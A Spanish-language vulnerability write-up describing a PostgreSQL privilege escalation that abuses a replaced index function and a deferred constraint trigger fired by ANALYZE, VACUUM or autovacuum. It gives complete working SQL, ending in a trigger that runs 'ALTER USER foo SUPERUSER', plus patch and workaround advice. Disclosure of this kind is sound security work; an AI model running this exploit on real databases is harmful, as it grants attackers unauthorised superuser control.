Este año está siendo una locura, espero que todos estéis bien y que el resto del año vaya mejor. Este es mi primer y probablemente único post del año (y el primero en español). Voy a hablar sobre una vulnerabilidad que hallé en Postgresql, y que afecta a todas las versiones desde la 9.5, y probablemente también, las versiones anteriores.

La vulnerabilidad es similar a una “time-of-check to time-of-use (TOCTOU)” que también puede ser descrita como la falta de reinicio del estado antes de salir de una operación restringida.

Versiones investigadas:

  • 13.0 – PostgreSQL 13.0 (Debian 13.0-1.pgdg100+1)
  • 12.4 – PostgreSQL 12.4 (Debian 12.4-1.pgdg100+1)
  • 12.3 – PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1)
  • 11.9 – PostgreSQL 11.9 (Debian 11.9-1.pgdg90+1)

Notas de lanzamiento y actualizaciones: https://www.postgresql.org/

Gracias a @cleorun y @lean0x2f por su ayuda con la traducción y correcciones.

Objetivo

Al principio tenía el objetivo de hallar una vulnerabilidad que permitiera a un usuario no privilegiado elevar sus permisos a superuser.

Postgresql tiene opciones legítimas para facilitar permisos más elevados a usuarios (pero sin darles permisos de superuser) durante la ejecución de una función. A estas funciones se las llama SECURITY DEFINER. Aunque un mala configuración en una SECURITY DEFINER FUNCTION y el search_path puede dar más permisos de los necesarios (Cybertec Blog).

La documentación de Postgresql tiene indicaciones sobre estos puntos - how to safely write security definer functions.

Because a SECURITY DEFINER function is executed with the privileges of the user that owns it, care is needed to ensure that the function cannot be misused.

Es decir, la responsabilidad de asegurar que sólo los usuarios permitidos tienen acceso a estas funciones, es del administrador.

Esto me pareció un buen punto para empezar a buscar vulnerabilidades. Tal vez, haya una manera de utilizar el SECURITY DEFINER en otro contexto.

grepping

Para empezar miré en los lugares en los que Postgresql cambia los permisos de usuario. Inmediatamente me di cuenta de que hay comentarios en el código sobre security-restricted operations. Siempre que veo comentarios sobre seguridad en el código, presto más atención porque es probable que haya (o que probablemente hubiera) vulnerabilidades. Para identificar otros lugares en el código donde se usan los security-restricted operations utilicé grep. Encontré dos lugares; src/backend/commands/analyze.c y src/backend/commands/analyze.c. Ambos tenían el mismo comentario:

/*
* Switch to the table owner's userid, so that any index functions are run
* as that user.  Also lock down security-restricted operations and
* arrange to make GUC variable changes local to this command.
*/

Lo que indica que Postgresql cambia al userid (el usuario) del propietario de la tabla para asegurar que todas las funciones se ejecutan como ese usuario. Si podemos encontrar una manera de evitar el cambio de usuario, sería posible ejecutar funciones con privilegios elevados.

Índices y Funciones

En primer lugar, no sabía que era posible que los índices ejecutaran funciones. En segundo lugar tenía que encontrar comó se puede hacer.

Si lees la documentación resulta evidente lo fácil que es. Hay muchos ejemplos de índices que ejecutan funciones (aunque las funciones no están controladas por el usuario, tenemos la estructura de la query).

Por ejemplo:

CREATE INDEX ON films ((lower(title)));

Este índice se refiere a la tabla films, y a la columna title. La función lower cambia el título a minúsculas. Podemos cambiar la función lower por una función personalizada.

Me estoy saltando algunos pasos, pero en resumen, leí todos los mensajes de error que aparecieron al tratar de usar la función. Lo importante es que el INDEX necesita una función IMMUTABLE. Es decir una función que siempre devuelva el mismo resultado para la misma entrada (data). Tiene sentido ya que el INDEX trata de optimizar la búsqueda.

CREATE FUNCTION sfunc(integer) 
  RETURNS integer
  LANGUAGE sql IMMUTABLE AS
  'SELECT $1';

A continuación, creé una tabla, y añadí un INDEX a la tabla:

CREATE TABLE blah (a int, b int);
INSERT INTO blah VALUES (1,1);

CREATE INDEX indy ON blah (sfunc(a));

En realidad, esto no es muy útil, quería una función que hiciera algo útil, como leer el nombre del usuario que está ejecutando la función INDEX. Quería hacer lo siguiente:

crear INDEX como usuario no priviligiado 
--> usuario privilegiado ejecuta ANALYZE/VACUUM 
--> la función INDEX se ejecuta como el usuario privilegiado 

En este escenario pensé en usar el SECURITY INVOKER, que es parecido a la función SECURITY DEFINER pero se ejecuta como el invocante y no el propietario, para ejecutar funciones como el usuario privilegiado.

-- crea la tabla en que pone el nombre del usuario
CREATE TABLE t0 (s varchar);

-- crea la función `security invoker`
CREATE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
   'INSERT INTO t0 VALUES (current_user); SELECT $1';

Como decía antes, el índice necesita una función IMMUTABLE. Asi que traté de usar esta función en el índice, lo cual produce un error:

tmp=# CREATE INDEX indy ON blah (sfunc(a));
ERROR:  functions in index expression must be marked IMMUTABLE

Parecía un callejón sin salida, pero se me ocurrió que podía recrear la función utilizando CREATE OR REPLACE FUNCTION, ya que, la función se recrea mientras que la referencia del índice se mantiene. Esto es, el INDEX no verifica si la función referenciada ha cambiado desde el arranque. Con esto, fue posible recrear la función como MUTABLE, encontrando así el primer “bug”.

CREATE FUNCTION sfunc(integer) 
  RETURNS integer
  LANGUAGE sql IMMUTABLE AS
  'SELECT $1';

CREATE INDEX indy ON blah (sfunc(a));

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';

Ahora cuando se ejecute la función índice, se insertará el current_user en la tabla t0. Para verificarlo, cambiamos al usuario privilegiado (postgres) y ejecutamos la función ANALYZE.

tmp=# SELECT * FROM t0;
 s
---
(0 rows)

tmp=# ANALYZE;
ANALYZE
tmp=# SELECT * FROM t0;
  s
-----
 foo
(1 row)

tmp=#

La función índice funcionó, pero se insertó el usuario foo en vez de el usuario postgres. Lo que indica que el SECURITY INVOKER no tuvo ningún efecto. Releí el comentario de el código fuente y confirmé que el contexto cambia al uid del propietario de la tabla/función cuando está en la operación security-restricted.

Lo cual nos permite verificar que el security-restricted funciona, y que hay un bug en los índices, aunque todavía todo esto no es una vulnerabilidad.

DEFERRED - Ejecución diferida

Volví a revisar el código fuente, para determinar cómo Postgresql entra a la operación security-restricted y cómo cierra el contexto. En el archivo vacuum.c hay comentarios interesantes. Tal vez puedas identificar lo que me llamó la atención.

/*
  * Switch to the table owner's userid, so that any index functions are run
  * as that user.  Also lock down security-restricted operations and
  * arrange to make GUC variable changes local to this command. (This is
  * unnecessary, but harmless, for lazy VACUUM.)
  */
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
                                            save_sec_context | SECURITY_RESTRICTED_OPERATION);
save_nestlevel = NewGUCNestLevel();

// DO LOTS OF WORK
// <--- SNIP --->

/* Restore userid and security context */
SetUserIdAndSecContext(save_userid, save_sec_context);

/* all done with this class, but hold lock until commit */
if (onerel)
        relation_close(onerel, NoLock);

/*
  * Complete the transaction and free all temporary memory used.
  */
PopActiveSnapshot();
CommitTransactionCommand();

Mira el último comentario y las funciones que le suceden. “Complete the transaction and free all temporary memory used”, es decir “finaliza la transacción y libera la memoria utilizada” y después ejecuta la función CommitTransactionCommand(). Esta se ejecuta después de la función SetUserAndSecContext, la cual devuelve el contexto al usuario que está ejecutando la función. En Postresql (y SQL) las transacciones no almacenan el resultado en la tabla hasta que tiene lugar el último commit. En este punto, entre el cambio del usuario y la finalización de la transacción, tenemos un lapso de tiempo para ejecutar comandos.

Leí mucha documentación tratando de encontrar maneras de retrasar la ejecución de comandos SQL. Al final llegé a la documentación de los TRIGGERS, dónde encontré una opción INITIALLY DEFERRED que me pareció ideal.

¿Qué es INITIALLY DEFERRED?

INITIALLY DEFERRED The default timing of the trigger. See the CREATE TABLE documentation for details of these constraint options. This can only be specified for constraint triggers.

La documentación indica que es preciso revisar la documentación de CREATE TABLE pero también, que únicamente es valida para los constraint triggers y que controla cuándo ejecuta el trigger. Si lees la documentación referenciada:

If a constraint is deferrable, this clause specifies the default time to check the constraint. If the constraint is INITIALLY IMMEDIATE, it is checked after each statement. This is the default. If the constraint is INITIALLY DEFERRED, it is checked only at the end of the transaction. The constraint check time can be altered with the SET CONSTRAINTS command.

Es decir, que es posible controlar cuándo se ejecuta la verificación de las restricciones de las columnas. Normalmente se verifican immediatamente, pero con INITIALLY DEFERRED, la verficación se ejecutan al final de la transación. Esto era precisamente lo que estaba buscando, una opción que asegurara que mi función se iba a ejecutar antes del commit pero después de que la security-restricted-operation hubiera salido.

Exploit Completo

El siguiente punto era encontrar cómo usar el CONSTRAINT TRIGGER y en qué punto de la ejacución tenía que ponerlo.

En primer lugar, la CONSTRAINT TRIGGER necesita una función a ejucutar. En segundo lugar, es necesario que algo inicie o desencadene la CONSTRAINT TRIGGER . Afortunamente, ya teníamos todo lo necesario, ya que el índice ejecuta nuestra función, la cual inserta data en la tabla t0, desencadenando el CONSTRAINT TRIGGER.

Índice ejecuta 
--> sfunc inserta data en t0 
--> `constraint trigger` se ejecuta 
--> strig función se ejecuta

Esto es posible con el sigiente SQL:

-- segunda tabla para identificar el usuario que está ejecutando las funciones
CREATE TABLE t1 (s varchar);

-- crea la función para insertar el usuario en una segunda tabla

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO t1 VALUES (current_user); SELECT $1';

-- crea una función trigger, que ejecuta la segunda función para insertar el usua
CREATE OR REPLACE FUNCTION strig() RETURNS trigger 
  AS $e$ BEGIN 
    PERFORM snfunc(1000); RETURN NEW; 
  END $e$ 
LANGUAGE plpgsql;

/* crea una CONSTRAINT TRIGGER que está en estado `deferred`.
La propiedad `deferred` asegura que el trigger se ejecuta antes del commit
y después de que el contexto haya cambiado al usuario que inició la ejecución
*/
CREATE CONSTRAINT TRIGGER def
    AFTER INSERT ON t0
    INITIALLY DEFERRED 
    FOR EACH ROW
  EXECUTE PROCEDURE strig();

Creé una segunda función por dos razones. Primero, quería que la función insertara el usuario en una nueva tabla para facilitar la depuración. Segundo, con una nueva función es posible ejecutar otros comandos que necesitan más privilegios. Probablamente es posible simplificar esto, aunque esto funciona y ¿Para qué cambiar algo que funciona?

Para verificar que el trigger se está ejecutando, podemos insertar data en t0 y ver si el nombre del usuario aparece en tabla t1:

tmp=> SELECT * FROM t0;
  s 
----- 
  foo
(1 row)

tmp=> SELECT * FROM t1;
 s
---
(0 rows)

tmp=> INSERT INTO t0 VALUES ('baz');
INSERT 0 1
tmp=> SELECT * FROM t1;
  s
-----
 foo
(1 row)

¡Genial! El current_user (foo) fue insertado en la tabla t1. Como prueba, cambié a otro usuario (postgres) e hice el mismo test, el usuario postgres apareció en la tabla t1:

tmp=# INSERT INTO t0 VALUES ('bazfoo');
INSERT 0 1
tmp=# SELECT * FROM t1;
    s
----------
 foo
 postgres
(2 rows)

Fenomenal, ahora sí, el usuario privilegiado inserta data en tabla t0, podemos ejecutar SQL como este usuario. Aún mejor, si se ejecutan las funciones ANALYZE o VACUUM, el CONSTRAINT TRIGGER es ejecutado.

ANALYZE

Si ejecutamos la función ANALYZE como el usuario privilegiado y observamos el resultado:

tmp=# ANALYZE;
ANALYZE
tmp=# SELECT * FROM t1;
    s
----------
 foo
 postgres
 postgres
(3 rows)

Vemos que se ha ejecutado como el usuario privilegiado postgres, lo que significa que cada vez que el usuario privilegiado ejecuta ANALYZE o VACUUM podemos elevar privilegios. ¿Es habitual que los administratadores (usuarios privilegiados) ejecuten estas funciones? Sí, estas funciones son necesarias para mejorar el funcionamiento de Postgresql, siendo muy probabable que, en casos de base de datos multi-usuario, un usuario privilegiado necesite ejecutar estos comandos.

Ejecución automática (autosploit)

Tenía una vulnerabilidad pero me faltaba una manera para explotarla sin intervención manual del usuario privilegiado. Debido a la gran utilidad de las funciones ANALYZE y VACUUM, postgres permite su ejecución de forma automática. Postgresql dispone de la función autovacuum la cual, una vez configurada, se ejecuta en un horario como un proceso secundario. Este es el trigger perfecto para desencadenar la vulnerabilidad.

Es posible forzar la ejecución de autovacuum introduciendo valores bajos para los umbrales de VACUUM y ANALYZE en una tabla y ejecutando a continuación las funciones INSERT y DELETE:

ALTER TABLE blah SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE blah SET (autovacuum_analyze_threshold = 1);

Lamentable no funcionó. Decidí tratar de determinar porqué no había funcionado. Revisando los logs vi imediatamente qué faltaba:

tail -f /var/log/postgres/postgresql-12-main.log
2020-10-15 19:42:19.501 UTC [14231] LOG:  automatic vacuum of table "tmp.public.blah": index scans: 1
        pages: 0 removed, 1 remain, 0 skipped due to pins, 0 skipped frozen
        tuples: 6 removed, 1 remain, 0 are dead but not yet removable, oldest xmin: 2618
        buffer usage: 43 hits, 4 misses, 7 dirtied
        avg read rate: 53.879 MB/s, avg write rate: 94.289 MB/s
        system usage: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s
2020-10-15 19:42:19.531 UTC [14231] ERROR:  relation "t0" does not exist at character 13
2020-10-15 19:42:19.531 UTC [14231] QUERY:  INSERT INTO t0 VALUES (current_user); SELECT $1
2020-10-15 19:42:19.531 UTC [14231] CONTEXT:  SQL function "sfunc" during startup

autovacuum se ejecuta sin un search_path. Es decir, autovacuum no ha podido localizar la tabla t0 porque no sabía en qué base de datos o schema tenía que buscar esa tabla. La primera línia lo hace más evidente, indicando el search_path completo: “tmp.public.blah”. Por lo tanto, tan sólo es necesario indicarle a autovacuum cual es el search_path completo.

Cambié de:

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';

a

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t0 VALUES (current_user); SELECT $1';

hora cuando se ejecute autovacuum este mirará en el lugar correcto y ejecutará la vulnerabilidad como el usuario que tiene el rol superuser (típicamente postgres).

Exploit completado

Llegados a este punto, fue fácil crear un exploit que elevara privilegios a superuser. Importante tener en cuenta que, la creación del exploit en sí mismo, también ejecuta dicho exploit, resultando necesario tener una lógica en el código para asegurar que la elevación de privilegios sólo tendrá lugar cuando el usuario que lo lanza tenga los privilegios necesarios.

-- Función que se ejecuta cuando el usuario tiene un bajo nivel de privilegios

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user); 
SELECT $1';

-- Función que eleva los privilegios del usuario ejeuctor

CREATE OR REPLACE FUNCTION snfunc2(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user); 
ALTER USER foo SUPERUSER; 
SELECT $1';

-- trigger con lógica para detectar el usuario en uso

CREATE OR REPLACE FUNCTION strig() RETURNS trigger 
AS $e$ 
BEGIN 
IF current_user = 'postgres' THEN
    PERFORM tmp.public.snfunc2(1000); RETURN NEW; 
ELSE
    PERFORM tmp.public.snfunc(1000); RETURN NEW; 
END IF;
END $e$ 
LANGUAGE plpgsql;

Los privilegios del usuario normal serán elevados cuando autovacuum se ejecute. El log de autovacuum está en el cuadro de arriba, y el cuadro del fondo muestra los comandos INSERT y DELETE que desencadenan el exploit:

Elevación de privilegios

Elevación de privilegios

Remediacion y Conclusión

Actualizaciones para todas las versiones de Postgresql están disponibles en https://www.postgresql.org/ o en las distribuciones oficiales como Ubuntu y RedHat.

También hay mitigaciones, en caso de que no sea posible instalar las actualizaciones, aunque el funcionamiento de Postgres podría verse impactado significativamente.

While promptly updating PostgreSQL is the best remediation for most users, a user unable to do that can work around the vulnerability by disabling autovacuum and not manually running ANALYZE, CLUSTER, REINDEX, CREATE INDEX, VACUUM FULL, REFRESH MATERIALIZED VIEW, or a restore from output of the pg_dump command. Performance may degrade quickly under this workaround.

Exploit completo: https://gist.github.com/staaldraad/1325617885d42aa40777aa4774e91214

Patches: https://www.postgresql.org/